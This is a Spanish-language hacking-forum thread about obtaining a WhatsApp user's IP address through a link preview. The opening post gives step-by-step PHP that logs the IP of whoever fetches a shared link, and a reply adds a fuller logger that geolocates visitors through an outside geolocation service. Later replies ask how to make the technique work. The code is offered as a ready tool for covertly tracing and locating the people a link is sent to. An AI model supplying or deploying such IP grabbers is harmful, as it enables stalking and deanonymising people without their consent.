Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Obtener la IP de un usuario de WhatsApp con un simple link

  • 7 Respuestas
  • 8014 Vistas

0 Usuarios y 5 Visitantes están viendo este tema.

Desconectado K A I L

  • *
  • Moderador
  • Mensajes: 143
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Abril 19, 2018, 08:04:24 am »


Si hablamos de un programa de mensajería con el que poder estar en contacto con amigos y familiares, seguro que todos indicamos WhatsApp. Sin duda se ha convertido en el más utilizado en España en los últimos años. Ahora bien, si hablamos del más seguro, surgen discrepancias en ese sentido. Hay aplicaciones más orientadas en la privacidad y seguridad a la hora de enviar mensajes. Hoy nos hacemos eco de un descubrimiento realizado por un investigador de seguridad en el que demuestra cómo se puede divulgar la IP de un usuario con la vista previa de un link.

La IP de un usuario de WhatsApp, expuesta

Se trata de Rahul Kankrale, un investigador de seguridad web. En su perfil de Twitter ha mostrado su descubrimiento y cómo se puede divulgar la IP simplemente con la vista previa al compartir un enlace por WhatsApp.

Para ello simplemente utiliza un código PHP. Con esto logra revelar la IP de los usuarios de WhatsApp, así como la versión de la aplicación y guardar estos datos en un servidor. Los pasos a seguir, como indican en Medium, son los siguientes:

Paso 1:

El primer paso para llevar a cabo esta acción es crear un archivo PHP y un archivo de registro en un servidor. Hay que añadir el siguiente código para la meta descripción:

Código: PHP
  1. <meta property=”og:description” content=”<?php
  2.  
  3. echo $_SERVER[REMOTE_ADDR]; $line = date(’Y-m-d H:i:s’) . ” – $_SERVER[REMOTE_ADDR];echo $line;
  4.  
  5. file_put_contents(’visitors.log, $line . PHP_EOL, FILE_APPEND);?>” />

Paso 2:

Una vez hecho esto, lo siguiente que tenemos que hacer es guardar este archivo PHP.

Paso 3:

Posteriormente abrimos WhatsApp y escribimos el enlace que lleva a este archivo PHP que hemos creado. Una vez se genera la vista previa del link, podemos ver cómo aparece la IP, la captura, y al mismo tiempo la escribe en el archivo que tenemos alojado en nuestro servidor.

En este registro del servidor aparece la fecha y hora, así como la dirección IP del usuario. Si lo probamos en varias ocasiones, podremos ver cómo se van añadiendo a este archivo. Tanto la hora como la IP coincide exactamente igual en la previsualización del link y en el registro creado en el servidor.



NOTA: Como señala abajo nuestro compañero @79137913 Esto no es nada nuevo, existe hace mucho

FUENTE
« Última modificación: Abril 19, 2018, 11:15:10 am por K A I L »

Desconectado 79137913

« Respuesta #1 en: Abril 19, 2018, 08:12:08 am »
HOLA!!!

Really?

Esto no es un fallo de seguridad, es un problema de capa 8 inherente a la capacidad de compartir hipervinculos.

No puedo creer que alguien se atribuya eso como "encontrar un fallo de seguridad en whatsapp", esa tecnica existe hace mas de 20 años y existirá por 20 mas por lo menos.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                   DOORS.PARTY

Desconectado Mosca Blanca

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Abril 26, 2018, 01:01:57 am »
  Buenas! yo lo probe pero me devuelve la misma ip desde donde envio mi link al Script. Me estara faltando algo? :( :( :(

Desconectado 79137913

« Respuesta #3 en: Abril 26, 2018, 01:11:53 pm »
HOLA!!!

  Buenas! yo lo probe pero me devuelve la misma ip desde donde envio mi link al Script. Me estara faltando algo? :( :( :(

Eso es por que entraste vos y no el.
O la persona esta en tu misma red  ::) ::) ::)

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                   DOORS.PARTY

Desconectado Mosca Blanca

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Abril 28, 2018, 01:09:27 am »
Ahh que mocaso..., creía que si colocabas el link en enviar te aparecería la ip de el =( Ano tiene sentido entonces .... igual puedo encontrarlo en los registros si se conecto a mi servidor =(

Desconectado Mosca Blanca

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Abril 28, 2018, 01:18:58 am »
Acá encontré uno muy lindo para la Localización de la Ip

<?php

    //Llamamos a la función, y ella hace todo :)
    write_visita ();

    //función que escribe la IP del cliente en un archivo de texto   
    function write_visita (){

        //Indicar ruta de archivo válida
        $archivo="visitors.log";

        //Si que quiere ignorar la propia IP escribirla aquí, esto se podría automatizar
        $ip="mi.ip.";
        $new_ip=get_client_ip();

        if ($new_ip!==$ip){
            $now = new DateTime();

       //Distinguir el tipo de petición,
       // tiene importancia en mi contexto pero no es obligatorio

        if (!$_GET) {
            $datos="*POST: ".$_POST;

        }
        else
        {
            //Saber a qué URL se accede
            $peticion = explode('/', $_GET['PATH_INFO']);
            $datos=str_pad($peticion[0],10).' '.$peticion[1];   
        }
        $txt =  str_pad($new_ip,25). " ".
                str_pad($now->format('Y-m-d H:i:s'),25)." ".
                str_pad(ip_info($new_ip, "Country"),25)." ".json_encode($datos);

        $myfile = file_put_contents($archivo, $txt.PHP_EOL , FILE_APPEND);
        }
    }


    //Obtiene la IP del cliente
    function get_client_ip() {
        $ipaddress = '';
        if (getenv('HTTP_CLIENT_IP'))
            $ipaddress = getenv('HTTP_CLIENT_IP');
        else if(getenv('HTTP_X_FORWARDED_FOR'))
            $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
        else if(getenv('HTTP_X_FORWARDED'))
            $ipaddress = getenv('HTTP_X_FORWARDED');
        else if(getenv('HTTP_FORWARDED_FOR'))
            $ipaddress = getenv('HTTP_FORWARDED_FOR');
        else if(getenv('HTTP_FORWARDED'))
           $ipaddress = getenv('HTTP_FORWARDED');
        else if(getenv('REMOTE_ADDR'))
            $ipaddress = getenv('REMOTE_ADDR');
        else
            $ipaddress = 'UNKNOWN';
        return $ipaddress;
    }


    //Obtiene la info de la IP del cliente desde geoplugin

    function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
        $output = NULL;
        if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
            $ip = $_SERVER["REMOTE_ADDR"];
            if ($deep_detect) {
                if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
                    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
                if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                    $ip = $_SERVER['HTTP_CLIENT_IP'];
            }
        }
        $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
        $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
        $continents = array(
            "AF" => "Africa",
            "AN" => "Antarctica",
            "AS" => "Asia",
            "EU" => "Europe",
            "OC" => "Australia (Oceania)",
            "NA" => "North America",
            "SA" => "South America"
        );
        if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
            $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
            if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
                switch ($purpose) {
                    case "location":
                        $output = array(
                            "city"           => @$ipdat->geoplugin_city,
                            "state"          => @$ipdat->geoplugin_regionName,
                            "country"        => @$ipdat->geoplugin_countryName,
                            "country_code"   => @$ipdat->geoplugin_countryCode,
                            "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
                            "continent_code" => @$ipdat->geoplugin_continentCode
                        );
                        break;
                    case "address":
                        $address = array($ipdat->geoplugin_countryName);
                        if (@strlen($ipdat->geoplugin_regionName) >= 1)
                            $address[] = $ipdat->geoplugin_regionName;
                        if (@strlen($ipdat->geoplugin_city) >= 1)
                            $address[] = $ipdat->geoplugin_city;
                        $output = implode(", ", array_reverse($address));
                        break;
                    case "city":
                        $output = @$ipdat->geoplugin_city;
                        break;
                    case "state":
                        $output = @$ipdat->geoplugin_regionName;
                        break;
                    case "region":
                        $output = @$ipdat->geoplugin_regionName;
                        break;
                    case "country":
                        $output = @$ipdat->geoplugin_countryName;
                        break;
                    case "countrycode":
                        $output = @$ipdat->geoplugin_countryCode;
                        break;
                }
            }
        }
        return $output;
    }

?>

Desconectado aprendis23

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: aprendi23
« Respuesta #6 en: Abril 29, 2018, 06:44:56 pm »
Muy bie. Pero hay manera mas fácil de hacerlo sin tener que crear servidores

Desconectado [DarkGhost]

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #7 en: Mayo 11, 2019, 09:58:19 am »
¿Aún sirve este "método" en 2019?

¿Alguien podría explicarme como subir el archivo php a un servidor?

 

¿Te gustó el post? COMPARTILO!



WhatsApp limita el reenvío de mensajes para combatir el "spam" y fake news

Iniciado por Ascendock

Respuestas: 0
Vistas: 1830
Último mensaje Julio 28, 2018, 12:04:00 am
por Ascendock
WhatsApp prepara la opción "marcar como no leído"

Iniciado por Alejandro_99

Respuestas: 0
Vistas: 2094
Último mensaje Julio 05, 2015, 09:58:30 pm
por Alejandro_99
Google Maps: aprende como obtener 100 GB en Google Drive

Iniciado por DUDA

Respuestas: 0
Vistas: 1955
Último mensaje Marzo 14, 2017, 12:12:54 pm
por DUDA
Descubren que el Hacking Team usaba Apps de Facebook y WhatsApp para robar info.

Iniciado por Mayk0

Respuestas: 0
Vistas: 2215
Último mensaje Agosto 10, 2015, 02:50:44 pm
por Mayk0
Hckers utilizaron el error de WhatsApp de 0 días para instalar programas espía

Iniciado por Dragora

Respuestas: 0
Vistas: 855
Último mensaje Mayo 14, 2019, 12:19:47 pm
por Dragora